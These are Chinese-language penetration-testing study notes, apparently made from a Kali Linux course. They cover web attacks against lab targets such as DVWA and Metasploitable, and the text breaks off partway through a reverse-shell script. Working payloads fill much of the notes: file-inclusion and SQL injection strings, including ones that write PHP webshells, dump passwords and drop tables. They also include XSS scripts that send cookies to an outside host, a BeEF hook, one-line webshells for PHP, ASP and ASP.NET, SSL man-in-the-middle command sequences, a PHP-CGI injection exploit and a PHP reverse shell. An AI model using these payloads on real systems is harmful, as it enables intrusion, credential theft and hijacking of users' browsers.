筆記內容參考安全牛課堂苑房弘老師的Kali Linux滲透測試教程
文章目錄
漏洞挖掘
WEB漏洞掃描工具一般只會掃描通用常見的漏洞,一些特殊目錄、不嚴格的配置可能遺漏,此時需要手動進行漏洞挖掘,結合自動化工具的掃描結果,根據具體環境靈活驗證。
漏洞存在的本質在於輸入變量和命令相混淆,漏洞挖掘的原則就在於嘗試所有輸入變量(表單提交內容、HTTP頭等所有存在變量輸入的地方),逐一驗證排除。
1.目錄遍歷/文件包含
目錄遍歷(Directory traversal):由於目錄權限限制不嚴格,導致攻擊者通過url等參數直接訪問本地WEB目錄以外的文件。
文件包含(File include):可以將包含WEB目錄以外的文件,進一步分爲本地文件(LFI)包含和遠程文件包含(RFI)。
- 目錄遍歷/文件包含漏洞的存在特徵爲:在post或url請求中存在
變量=頁面
eg:
<url>?page=a.php
<url>?home=b.html
<url>?file=content
- 經典測試方法:
eg:
<url>?file=../../../../etc/passwd
<url>?page=file:///etc/passwd
<url>?home=main.cgi
<url>?page=http://10.10.11.129/attack.php
注:Metasploitable默認沒有開啓RFI,爲實現RFI,需要修改配置文件/etc/php5/cgi/php.ini
:
allow_url_include = on
- 注意對提交的內容進行編碼或變換,繞開過濾機制:
url編碼
%2e%2e%2f 解碼: ../
%2e%2e%5c 解碼: ..\
%252e%252e%255c(多層url編碼) 解碼: ..\
Unicode/UTF-8編碼
..%c0%af 解碼: ../
..%c1%9c 解碼: ..\
繞開過濾規則
htthttp://p://
- 其他系統路徑可能用到的字符:(可以利用字典,測試時將字典內容附加在文件後,觀察返回結果,在Kail目錄
/usr/share/wfuzz/wordlist/
中已集成一些典型攻擊向量字典)
file.txt...
file.txt<spaces>
file.txt””””
file.txt<<<>>><
2.文件上傳
通過文件上傳接口,繞過過濾機制,將webshell、木馬文件上傳至目標系統。
如上傳一句話木馬:
<?php
echo shell_exec($_GET['cmd']);
?>
- 直接將木馬文件上傳至目標系統
- 修改文件類型
- 修改擴展名:.jpeg、.php.jpeg等
- 修改HTTP Request Header
- 僅保留文件頭部,剩下內容改爲一句話木馬
注:通過文件權限的限制可以起到很好的限制作用
3.SQL注入
服務器端程序將用戶輸入的變量作爲查詢條件,直接拼接SQL語句,並將查詢結果返回給客戶端服務器。
(1)檢測方法
- 基於報錯的檢測方法:輸入
' " %
,查看返回是否報錯,如果報錯,說明這些字符被正常解析,可能存在SQL注入漏洞 - 基於布爾的檢測:
1' and '1
和1' and '0
,看返回結果邏輯是否正常,以此判斷SQL注入語句基本結構 - 基於時間的檢測:利用
SLEEP()
函數,通過不同的延時判斷是否存在注入漏洞
(2)手動注入
① 普通SQL注入(可以基於注入過程中數據庫內建的報錯信息判斷注入語句的執行結果)
- 判斷查詢字段數:(由大至小判斷,
--
是註釋符,+
在url中爲空格符)
' ORDER BY 10#
- 聯合查詢:
# 判斷查詢字段位置
' UNION SELECT 1,2,3,4,5#
# 查詢當前數據庫、版本、用戶等系統信息,1,2,3,4,5等數字用於佔位
' UNION SELECT database(),version(),user(),4,@@datadir#
- 利用
CONCAT_WS()
連接字符串,提高查詢效率:
' SELECT CONCAT_WS(', ',database(),version(),user(),@@datadir),null#
# 其中`,`是連接字符串的分隔符
MySQL重要信息全部存在information_schema
,其中最重要的兩個表:TABLES
和COLUMNS
:前者記錄了所有數據庫的名稱TABLE_SCHEMA
和所有表的名稱TABLE_NAME
,後者除此以外還記錄了所有列的名稱COLUMN_NAME
。
利用兩條查詢語句查看COLUMNS與TABLES中列的具體內容:
SELECT column_name FROM information_schema.columns WHERE table_name='tables';
SELECT column_name FROM information_schema.columns WHERE table_name='columns';
結果如下圖所示:(MySQL version 5.0.51)
圖21 COLUMNS&TABLES
- 查詢dvwa.users表中所有的列:
' UNION SELECT table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’#
- 查詢用戶和密碼信息:
' UNION SELECT user,password from dvwa.users#
- 利用
LOAD_FILE()
讀取文件:
' UNION SELECT null, LOAD_FILE('/etc/passwd')#
- 利用
INTO OUTFILE
、INTO DUMPFILE
將SELECT內容寫入文件:(INTO OUTFILE
輸出內容中帶有換行、空格等格式,導出多行帶格式數據;INTO DUMPFILE
輸出內容中無格式,導出單行無格式數據)
' UNION SELECT null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php"#
' UNION SELECT null, CONCAT(user,0x3a,password) FROM users INTO OUTFILE '/tmp/a.db'#
在利用MySQL注入漏洞在目標系統上新建文件時,所有操作使用的都是mysql
賬號,在/var/www
等目錄下讀寫權限會有所限制,這樣新建文件就要在mysql
所在的主目錄或者/tmp
等權限不受限的目錄完成,然後利用其他WEB漏洞(如文件包含漏洞)對新建的文件進行利用。
- 如果當前數據庫查詢賬號受限,無法查看
information_schema
等重要數據庫,拒絕union、order by等查詢語句,此時可以利用Fuzz猜測庫名、表名、列名,根據返回值判斷猜測是否正確 (可以利用Burp等自動化工具,結合字典進行注入判斷),SQL注入沒有銀彈,具體環境具體分析,處理方式要靈活變通。
# 猜列名
' and <column_name> is null#
# 猜當前表表名
' and <table>.user is null#
# 猜測庫中其他表名
' and (select count(*) from <table>)>0#
# 猜字段內容
' or user='admin
' or user like ' %a%
# 直接更改用戶名和密碼
';UPDATE users SET user='attacker' WHERE user='admin
';UPDATE users SET password='xxxxxx' WHERE user='yyyyyy
# 直接插入新用戶
';INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('1','Wang','Ha','WH','h87fcce45f6aee332deb8826e','OK');#
# 刪庫
';DROP TABLE users;#
② SQL盲注(不回顯數據庫內建的報錯信息)
SQL盲注條件下無法基於數據庫內建的報錯信息進行邏輯判斷,此時可以基於布爾和時間進行盲注檢測是否存在漏洞,同時要結合輸入不同內容回顯的結果,靈活處理,其他注入方法和普通注入是一樣的。
- 基於布爾的盲注:根據邏輯真假的不同執行結果進行判斷
1' and 1#
1' and 0#
1' ORDER BY 2#
1' ORDER BY 3#
- 基於時間的盲注:根據時間延遲的不同執行結果進行判斷
' and (SELECT * FROM (SELECT(SLEEP(20)))a)#
(4)自動化工具——SQLMap
Python語言開發的SQL注入、漏洞檢測工具,可以進行數據提取、訪問文件系統、執行操作系統命令、訪問註冊表、Fuzz和字典破解等操作,可以與Burp、Metasploit等其他工具、框架結合使用,引擎強大、特性豐富,同時也支持XSS漏洞檢測。
支持的數據庫管理系統DBMS包括:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
五種漏洞檢測技術:基於布爾的盲注檢測、基於時間的盲注檢測、基於錯誤的檢測、基於UNION聯合查詢的檢測、基於堆疊查詢的檢測。
使用方法:
① Target
- 直接登錄數據庫進行查詢,非注入方式
sqlmap -d "mysql://user:[email protected]:3306/dvwa" --users --dbs
- GET方法指定SQL注入目標:
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id -a
# -u:url中必須包含需要注入的參數
sqlmap -m list.txt --current-user --current-db --is-dba --dbms=mysql
# -m:掃描url列表文件
- POST方法指定SQL注入目標:
sqlmap -r request.txt
# 讀取文件指定目標,request.txt中爲HTTP Request(可以使用Burp)
sqlmap -l log.txt
# 讀取文件指定目標,log.txt中爲代理流量log信息(可以使用Burp)
- 利用配置文件指定SQL注入目標,默認配置文件爲
/etc/sqlmap/sqlmap.conf
:
sqlmap -c sqlmap.config
# 利用config配置文件掃描目標,文件記錄了sqlmap掃描的具體配置
② Request
- 配置HTTP Request請求頭信息
sqlmap -u "http://10.10.11.128/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --param-del="&" -f
# POST/GET方法都適用
# 前述-r和-l參數實現的POST方法指定目標也可以用-u和--data實現
# --param-del:指定變量的分隔符,默認爲&
sqlmap -u "http://10.10.11.128/index.php?id=1" --cookie="security=low; PHPSESSID=946e8e0f4fe70e" --level=2 --random-agent -f
# --cookie:提供cookie信息,用於WEB身份認證
# --level:注入檢測等級1-5,默認爲1,當level>=2時檢查cookie中的注入點
# --user-agent:指定User-Agent頭
# --random-agent:User-Agent頭取值爲/usr/share/sqlmap/data/txt/user-agents.txt中的隨機值
# 當level>=3時檢查User-Agent中的注入點
# 當WAF/IPS/IDS過濾異常User-Agent時報錯:[ERROR]the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent
sqlmap -u "http://10.10.11.128/index.php?id=1" --method=GET --headers="Host: 10.10.11.128\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"
# --headers:指定注入檢測的Header,每個頭單獨一行,名稱區分大小寫
# --method:指定GET/POST方法
- 配置認證信息
sqlmap -u "http://10.10.11.128/a.php?id=1" --auth-type=Basic --auth-cred="user:pass“
# --auth-type:指定認證方式,包括basic、digest、ntlm、pki
# --auth-cred:指定認證信息
- 配置HTTP(S)代理
sqlmap -u "http://10.10.11.128/index.php?id=1" --proxy="http://1.2.3.4:8080" --auth-cred="user:pass"
# --proxy:指定代理服務器,提高注入檢測隱蔽性
sqlmap -u "http://127.0.0.1/index.php?id=1" --ignore-proxy
# --ignore-proxy:忽略系統的代理,通常用於本地主機的掃描
- 配置請求參數
# --delay:每次HTTP(S)請求之間延遲時間,浮點數,單位爲秒,默認爲無延遲
# --timeout:請求超時時間,浮點數,默認位30秒
# --retries:HTTP(S)連接超時重試次數,默認爲3次
# --randomize:長度、類型與原始值保持一致的前提下,指定每次請求隨機取值的參數名
sqlmap -l burp.log --scope="192\.168\.20\.(1|10|100)" --level 3 --dbs
# --scope:過濾日誌內容,通過正則表達式篩選掃描對象
sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238b0b923520dcc509a7f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
# --eval:每次請求前執行指定的python代碼
# 適用於每次請求更改或增加新的參數值(時間依賴、其他參數值依賴)
③ Injection
sqlmap -u "http://10.10.11.128/login.php?username=admin&password=password" -p "admin,user-agent,referer" --skip="password" --dbs
# -p:指定注入檢測的參數或HTTP頭
# --skip:排除指定的掃描參數
sqlmap -u "http://10.10.11.128/login.php?id=1" --dbms="mysql<5.0>" --os="windows"
#--dbms:指定DBMS(包括mysql//oracle/postgresql/microsoft sql server/microsoft access/db2/sqlite/firebird/sybase/sap maxdb),跨過DBMS探測過程,可以指定具體版本
# --os:指定操作系統
sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="between.py,randomcase.py,space2comment.py" -v 3
# --tamper:混淆腳本,用於繞過應用層過濾、IPS、WAF等安全過濾機制
# tamper腳本存在/usr/share/sqlmap/tamper目錄
sqlmap -u “http://targeturl/param1/value1*/param2/value2*/
# *:指定URI注入點
# 一些WEB Application會將變量值變爲路徑中的參數,看似爲靜態URI,實則仍爲動態URI,這時需要用*指定URI路徑中的注入點
④ Enumeration
# -p:指定測試參數 parameter
# -b:掃描DBMS的Banner信息
# -f:掃描DBMS版本的指紋信息 fingerprint
# -a:掃描所有的Enumeration信息
# --current-user:當前數據庫用戶
# --current-db:當前數據庫
# --hostname:主機名
# --users:所有的用戶
# --count:表中記錄的數目
# --privileges -U username:查詢用戶權限,CU爲當前用戶
# --batch:使用默認選項掃描,不用交互選擇
sqlmap -u “http://1.1.1.1/a.php?id=1” -D dvwa -T users --columns --dump
# --dbs:查詢數據庫
# --tables:查詢表
# --columns:查詢列
# --exclude-sysdbs
# --dump:將數據庫表項存到本地,以csv格式存儲在~/.sqlmap/output/1.1.1.1/dump/目錄中
# -U:指定用戶
# -D:指定數據庫
# -T:指定表
# -C:指定列
⑤ Brute Force
當數據庫賬號沒有權限讀取information_schema時,通常使用暴力破解的方法獲取數據庫元數據
# --common-tables:暴力破解表名
# --common-columns:暴力破解列名
⑥ File System Access
# --file-read="/etc/passwd"
# --file-write="shell.php" --file-dest= "/tmp/shell.php":將shell.php寫到目標主機的/tmp/shell.php文件
⑦ OS Access
# --os-cmd=OSCMD:執行操作系統命令OSCMD
# --os-shell:嘗試建立OS shell進行交互
# --sql-shell:嘗試建立SQL shell進行交互
# --os-pwn:嘗試建立meterpreter或VNC shell進行交互
⑧ Windows Registory
sqlmap –u="http://1.1.1.1/index.php?id=1" --reg-add --regkey="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
# --reg-read:讀取註冊表項
# --reg-add:添加註冊表項
# --reg-del:刪除註冊表項
# --reg-key:註冊表項名稱
# --reg-value:註冊表鍵的名稱
# --reg-data:註冊表鍵值
# --reg-type:註冊表項類型
⑨ General
# --charset:強制字符編碼
# --flush-session:清空session內容
# --flush-queries:忽略session查詢結果,重新查詢
# --force-ssl:https查詢
# --save:將命令保存爲配置文件
⑩ Miscellaneous
# --check-waf:檢測WAF/IPS/IDS
# --identity-waf:徹底的檢測WAF/IPS/IDS,支持多種產品
sqlmap --wizard
# --wizard:交互式嚮導進行簡單的注入檢測
4.XSS(Cross-Site Scripting)
由於WEB站點存在的漏洞,使得攻擊者可以將惡意代碼注入至WEB站點,再由WEB站點向客戶端交付惡意腳本代碼,從而攻擊WEB客戶端,實現盜取Cookie、重定向等攻擊效果。
原則上XSS攻擊可以實現腳本代碼能實現的所有功能,但可能受到執行權限的限制,最常見的客戶端腳本語言爲JavaScript,也有VBScript、ActiveX、Flash等
客戶端腳本使用場景包括:
- 直接嵌入html:
<script>alert('XSS');</script>
- 元素標籤事件:
<body onload=alert('XSS')>
- 嵌入圖片標籤:
<img src='javascript:alert('XSS')'>
- 嵌入其他標籤:
<iframe>、<div>、<link>
- DOM對象,篡改頁面內容
XSS漏洞類型: 存儲型(持久型)、反射型(非持久)、DOM型
(1)反射型XSS
漏洞特徵:服務器會將客戶端提交的數據原樣返回,如提交數據
<script>alert('XSS');</script>
,如果服務器返回的頁面正常彈窗,則說明服務器原樣返回了用戶提交的腳本代碼,服務器存在XSS漏洞,攻擊示意如下圖所示:(一般使用社會工程學誘使客戶端點擊惡意鏈接)
圖22 反射型XSS攻擊過程
JS攻擊腳本如:
<script>new Image().src="http://10.10.11.128/attack.php?output="+document.cookie;</script>
<!--提交頁面中將惡意腳本嵌入圖片標籤,用戶會將當前Cookie信息發給attack.php-->
<script src="http://10.10.11.129/attack.js"></script>
<!--通常情況下攻擊者只會將惡意腳本的文件路徑發給客戶端-->
(2)存儲型XSS
漏洞特徵:實施攻擊後惡意腳本長期存儲於服務器端,每次用戶訪問惡意腳本都會被執行。
存儲型XSS與反射型XSS區別在於存儲型XSS發動攻擊後腳本代碼就被保存到服務器端,以至於之後每次訪問時都會發動攻擊,不需要再誘使用戶提交惡意代碼,攻擊思路和方法兩者都是相同的。
(3)DOM型XSS
DOM型XSS本質上也是一種反射型XSS,之所以單獨劃分是因爲採用DOM文檔對象模型技術,DOM是網頁的編程接口,它給網頁提供了一個結構化的表述,並且定義了訪問網頁中各種元素的API,以改變文檔的結構,樣式和內容。DOM模型如下圖所示:
圖23 DOM模型
DOM型攻擊腳本如:
<script>var img=document.createElement("img");img.src="http://10.10.11.128:88/log.php?"+escape(document.cookie);</script>
(4)XSSer
Python編寫的自動化XSS攻擊工具,支持命令行/圖形化,具有多種繞過服務器篩選機制的功能
eg:檢測目標主機是否存在XSS漏洞
xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --reverse-check
# -u:要檢查的url
# -g:使用GET方法的注入點
# -s:統計輸出檢測結果
# -v:verbose輸出
# --reverse-check:從目標到當前主機建立反向鏈接
xsser -u "http://10.10.11.128/dvwa/vulnerabilities/" -g "xss_r/?name=LL" --cookie="security=low; PHPSESSID=d23e4694117e7ff8210717e698521a81" -s -v --heuristic
# --heuristic:以此檢測每個特殊符號是否被過濾
(5)BeEF
目前WEB Application幾乎都是B/S架構,攻擊瀏覽器用戶具有普遍性,同時可以結合社會工程學方法進行攻擊。BeEF是一個瀏覽器漏洞利用框架(Browser Exploitation Framework),分爲客戶端和服務器端,客戶端運行瀏覽器中的JS腳本(hook),服務器端對hooked客戶端進行管理。
攻擊手段通常包括:
- 利用網站XSS漏洞實現攻擊
- 誘使客戶端訪問含有hook的僞造站點
- 結合中間人攻擊注入hook腳本
通過以上攻擊手段使客戶端瀏覽器運行hook的JS腳本http://<IP_BeEF_Server>:3000/hook.js
,然後用BeEF服務器端對hooked客戶端進一步進行攻擊。
在GitHub上下載BeEFgit clone https://github.com/beefproject/beef.git
,或者下載壓縮包解壓,當前BeEF版本爲0.5.00,進入下載文件目錄./install
一鍵式安裝,期間可能會因爲一些GEM組件報錯,用bundle install
補全,然後在config.yaml
中修改默認賬號和密碼,最後用./beef
命令就可以正常運行了,訪問http://<IP_BeEF_Server>:3000/ui/panel
進入服務端界面,如下圖所示:
圖24 BeEF運行界面
Details
中包括了默認已經探測的信息,Logs
中記錄了目標用戶的操作動作,Commands
中包含了各種攻擊模塊,不同顏色模塊含義:(通過已探測信息進行判斷,可能出現誤判,需要進一步驗證)
- 綠色模塊:表示適用於目標瀏覽器,執行結果對目標用戶不可見
- 紅色模塊:不適用於目標瀏覽器
- 橙色模塊:可用,但對目標用戶可見(彈窗詢問等)
- 灰色模塊:未在目標瀏覽器測試過
主要攻擊模塊包括:
- Browser:獲取Details信息、探測瀏覽器插件、攝像頭等瀏覽器信息
- Exploits:開啓攝像頭、Bind Shell、植入Payload,針對各型路由器、交換機、軟件進行攻擊等
- bind shell:探測CPU、電量、用戶、安裝軟件、地理座標等信息
- Persistence:通過中間人、添加用戶、新建窗口等操作使目標瀏覽器當前窗口持續有效
- Network:掃描目標主機的DNS、Tor代理、端口、內網主機等網絡信息
- Social Engineering:僞造軟件升級、提示窗口、軟件登錄等窗口,誘使目標用戶輸入用戶密碼或訪問惡意網站
eg:在存在存儲型XSS漏洞的網站寫入以下腳本,或者誘使用戶訪問掛有以下腳本的頁面
<script src="http://<IP_BeEF_Server>:3000/hook.js"></script>
客戶端瀏覽器一旦訪問即中招,後續再BeEF服務器端進行進一步攻擊
5.CSRF(Cross Site Request Forgery)
通過僞造合法用戶身份發送惡意請求,基於服務器對請求的信任完成攻擊操作,比如以合法用戶的身份發送郵件、消息、購物、轉賬等,通常結合社會工程學,使得用戶在非自願、不知情的情況下提交請求。
從信任角度考慮與XSS區分:XSS利用用戶對站點的信任,CSRF利用站點對用戶請求的信任。
CSRF是服務器業務層面的漏洞,服務器對關鍵操作缺少確認機制,自動掃描程序一般不會發現此類漏洞。
漏洞利用條件:
- 被攻擊用戶已完成身份驗證
- 新請求的提交不需要重新進行身份認證
- 攻擊者瞭解WEB請求的構造參數
- 誘使用戶觸發攻擊發送請求
(1)修改請求參數完成攻擊
以DVWA爲實驗平臺,利用Burp代理,截獲HTTP Request,轉到Repeater
模塊,修改參數重放請求,右側可以看到返回結果,賬號密碼被成功修改,如下圖所示:
圖24 修改請求參數完成攻擊
(2)僞造請求頁面完成攻擊
利用Burp可以將HTTP Request生成HTML鏈接,右鍵選擇Engagement tools-> Generate CSRF PoC
,配置參數後複製代碼生成HTML頁面文件,誘使用戶訪問該頁面,點擊提交惡意請求的按鈕完成攻擊,如下圖所示:
圖24 僞造請求頁面完成攻擊
6.WebShell
本質上是在目標主機植入腳本文件,作爲WebShell的服務端;客戶端運行工具進行連接,拿到WebShell,對目標主機進行管理。
(1)中國菜刀
服務端在只需要簡單的一行代碼,客戶端運行菜刀工具,實現對目標主機的管理功能。
爲繞過IDS過濾,代碼經過二次編碼後發送。目前支持的服務端腳本包括:PHP、ASP、 ASP.NET,並且支持HTTPS安全連接的網站。
工具下載:官網 http://www.maicaidao.co/,readme
中有詳細介紹。
在服務端上傳腳本文件,代碼如下:
- PHP:
<?php @eval($_POST['chopper']);?>
- ASP:
<%eval request("chopper")%>
- ASP.NET:
<%@ Page Language="Jscript"><%eval(Request.Item["chopper"],"unsafe");%>
然後用菜刀訪問目標主機中的一句話木馬文件實現連接,運行界面如下圖所示:
圖24 中國菜刀管理界面
(2)Weevely
隱蔽的類終端PHP WebShell,用weevely生成腳本文件放在服務端目標主機,客戶端運行weevely進行連接,實現對目標主機的管理功能。
weevely
# 提示基本用法
weevely generate passw0rd wee.php
# passw0rd爲生成腳本文件的密碼
# 生成文件默認路徑爲~/
# 將wee.php上傳至目標主機目錄/var/www路徑
weevely http://10.10.11.128/dvwa passw0rd
# 連接目標主機,用交互式命令進行管理
weevely> help
# 連接後用help查看具體功能模塊
# 當前有40多種功能模塊,實現掃描內網、端口、文件,獲取系統參數、數據庫信息等操作
除了一般的管理功能,weevely還可以實現將目標計算機作爲HTTP/HTTPS代理,注意weevely將目標主機代理通過隧道和本機代理8080端口相連,所以要開啓本地服務器代理才能進行訪問。
weevely> net_proxy
# 開啓目標主機代理,默認通過隧道和本機代理8080端口相連
注意:WebShell獲得的用戶權限爲目標主機提供WEB服務的用戶,一些操作可能需要提權
7.HTTPS攻擊
HTTPS即HTTP over SSL,主要解決信息傳遞過程中機密性、完整性、可用性問題,其攻擊方法一般包括:
- 降級攻擊:使HTTPS降級爲不安全的加密套件
- 解密攻擊:中間人證書僞造,直接破解密文
- 協議漏洞、實現方法、用戶配置不嚴格
SSL最新版本爲v3,因其存在嚴重的安全漏洞,早在1999年SSL v3就已被TLS取代,目前絕大多數服務器用的都是TLS協議,但基於歷史和習慣的原因HTTPS、SSL/TLS等名稱一直被沿用。TLS當前最新版本爲v1.3,但一些服務器爲保持兼容性仍支持舊版本不安全的加密協議,如SSL v3。
SSL/TLS也被用於其他場景的安全傳輸:郵件傳輸、數據庫服務器之間、SSL VPN、遠程桌面RDP等。
(1)加密過程
根據Wireshark抓包分析HTTPS握手過程,Wireshark默認不會解密HTTPS加密內容,所以一開始抓包內容是這樣的:
圖24 HTTPS加密數據
經過TLS加密的數據爲Application Data,要查看解密數據,需要指定瀏覽器HTTPS握手通信的log文件,這樣瀏覽器會將握手過程中涉及的密鑰信息保存在該文件中,供Wireshark解密時使用。方法爲在系統環境變量中添加SSLKEYLOGFILE
,新建log文件,路徑隨意,但是尾綴必須爲log,比如設置爲E:\https.log
,在Wireshark編輯->首選項->Protocols->TLS
中配置(Pre)-Master-Secret log filename
爲E:\https.log
,重啓瀏覽器(Chrome/Firefox)後抓包,內容如下圖所示:
圖24 HTTPS解密數據
可見原先加密的Application Data已被解密,握手協商基本流程如下圖所示:(這裏所抓取HTTPS包的非對稱密鑰算法採用DHE/ECDHE,和採用RSA的握手協商過程稍有不同)
圖24 HTTPS握手過程
最開始Client與Server建立TCP三次握手連接,隨後開始HTTPS握手過程:
① Client向Server發送ClientHello
包請求建立SSL/TLS連接,其中包括隨機數Random_C和客戶端支持的加密套件CipherSuite(密鑰交換算法-簽名算法-對稱加密算法-摘要算法);
② Server收到SSL/TLS連接請求包後首先回復ServerHello
包,其中會選擇雙方都支持的加密級別最高的CipherSuite,以及生成的隨機數Random_S;
③ 然後Server接連發送Certificate
、ServerKeyExchange
、ServerHelloDone
包,Certificate
主要是經過CA簽名的Server公鑰信息;
④ Client根據自身記錄的CA證書判斷Server發來的證書是否可信,如果受信則將ClientKeyExchange
、ChangeCipherSpec
、Finished
包一起用公鑰加密後發送給Server,ClientKeyExchange
中包含生成的ECDHE參數Pubkey,Pubkey用於生成Premaster Key,Premaster Key和之前生成的Random_S以及Random_C一起生成對稱密鑰,之後通信使用對稱加密算法;
⑤ Server用私鑰將信息解密,同時利用相同的算法生成對稱密鑰,然後向Client發送ChangeCipherSpec
、Finished
包,之後通信使用對稱加密算法;
⑥ Client和Server完成握手協商過程,之後採用對稱加密算法進行通信。
(2)掃描工具
① OpenSSL
加密工具套件,通過調用OpenSSL庫對目標服務器發起SSL/TLS連接,可用於探測HTTPS加密信息。
使用方法:openssl command [ command_opts ] [ command_args ]
具體參數用:openssl command -help
查看
openssl s_client -connect www.baidu.com:443
# 建立HTTPS連接
# 可以查看目標站點證書、受信證書鏈、CipherSuite等信息
openssl ciphers -v "NULL,EXPORT,LOW,DES"
# 查看目前可被破解的ciphersuite
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' www.taobao.com:443
openssl s_client -cipher "ECDHE-PSK-NULL-SHA" -connect www.baidu.com:443
# 查看目標站點是否支持不安全的ciphersuite
② SSLScan
SSLScan相比於OpenSSL命令使用更加簡單,可讀性好,能夠自動識別SSL配置錯誤、過期協議、過時的ciphersuite和hash算法,掃描結果中綠色表示安全,紅色、黃色要引起注意。
sslscan --tlsall www.taobao.com:443
# 掃描目標站點支持的所有加密方法是否存在安全問題
sslscan --show-certificate www.taobao.com:443
# 分析證書詳細信息
③ Nmap
利用Nmap腳本實現SSL/TLS安全掃描。
nmap --script=ssl-enum-ciphers.nse www.taobao.com
(3)攻擊方法
SSL/TLS的攻擊方法主要基於中間人攻擊實現,中間人攻擊原理及類型參見 Kali Linux滲透測試——密碼破解 中密碼嗅探章節內容,SSL/TLS中間人攻擊實現前提主要是客戶端已經信任僞造證書的頒發機構或者禁止顯示證書錯誤的告警信息。
① SSLsplit
透明SSL/TLS中間人攻擊工具,對客戶端僞裝成服務器,對服務器僞裝成客戶端。
echo 1 > /proc/sys/net/ipv4/ip_forward
# 開啓主機路由功能
openssl gensa -out ca.key 2048
# 生成證書私鑰
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
# 利用私鑰簽名生成證書
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
# 添加iptables路由轉發規則
ettercap -T -M arp:remote /10.10.11.1// /10.10.11.129// -P dns_spoff
# 在網關和目標主機之間通過arp欺騙實現中間人攻擊
mkdir -p test/logdir
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
# -D:debug模式,輸出詳細信息
# -l:將建立連接信息記錄到connect.log
# -j:指定根目錄
# -S:指定解密的請求數據存放的目錄,在根目錄下
# 偵聽本地所有ip的8443和8080端口
HTTPS通信數據會記錄在/root/test/logdir/
中,但是一些敏感信息可能仍然是密文,因爲通信過程中除了SSL/TLS加密,還有密碼控件等其他層面加密過程。注意在實施攻擊前要在目標主機上安裝生成的證書,不然目標主機在訪問網站時會提示證書不受信。
② SSLstrip
將客戶端與中間人之間的通信流量直接變爲明文。
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
# 將http和https流量轉發到8080端口
ssltrip -l 8080
# ssltrip開啓8080端口監聽
ssltrip會在當前工作目錄上自動生成ssltrip.log
文件,記錄通信數據。注意使用ssltrip攻擊後目標主機瀏覽器在訪問網站時URL協議變爲HTTP,容易引起懷疑。
8.PHP漏洞
(1)PHP默認安裝後,配置界面phpMyAdmin/setup
可以不經驗證直接登錄,可以在未授權的情況下修改配置參數。
(2)早期版本的PHP存在漏洞,可以在提交的url中執行PHP語句,這裏利用Burp的Repeater模塊向目標服務器發送HTTP Request,通過修改php.ini
主配置文件執行PHP腳本。
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128
<?php
passthru('id'); #調用系統命令
die();
?>
注:PHP執行系統命令的函數一般包括exec()、passthru()、system()、shell_exec()
- exec():
string exec ( string $command [, array &$output [, int &$return_var ]] )
,不返回輸出結果,如果需要則可以調用第二個參數,第三個參數是執行命令的狀態碼,執行成功爲0 - passthru():
void passthru ( string $command [, int &$return_var ] )
,不返回結果,直接將結果輸出,不需要使用echo查看 - system():
string system ( string $command [, int &$return_var ] )
,返回結果並且將結果輸出 - shell_exec():等同於` `,結合echo查看輸出結果
在此漏洞基礎上實現網頁木馬:
① 靜態代碼實現
在目標服務器上新建木馬文件,發動攻擊時通過HTTP Request訪問並傳遞參數。
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128
<?php
passthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/attack.php');
die();
?>
然後瀏覽器訪問:http://10.10.11.128/attack.php?cmd=id
② 動態反彈Shell
利用kali中/usr/share/webshell/php/php-reverse-shell.php
,配置其中的反彈ip和端口,然後將其內容寫入HTTP Request,通過HTTP Request訪問目標服務器發起攻擊,而不在目標服務器上新建木馬文件,攻擊更加隱蔽。
POST http://10.10.11.128/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
HOST:10.10.11.128
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.11.129'; // CHANGE THIS
$port = 1244; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Do the reverse shell...
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
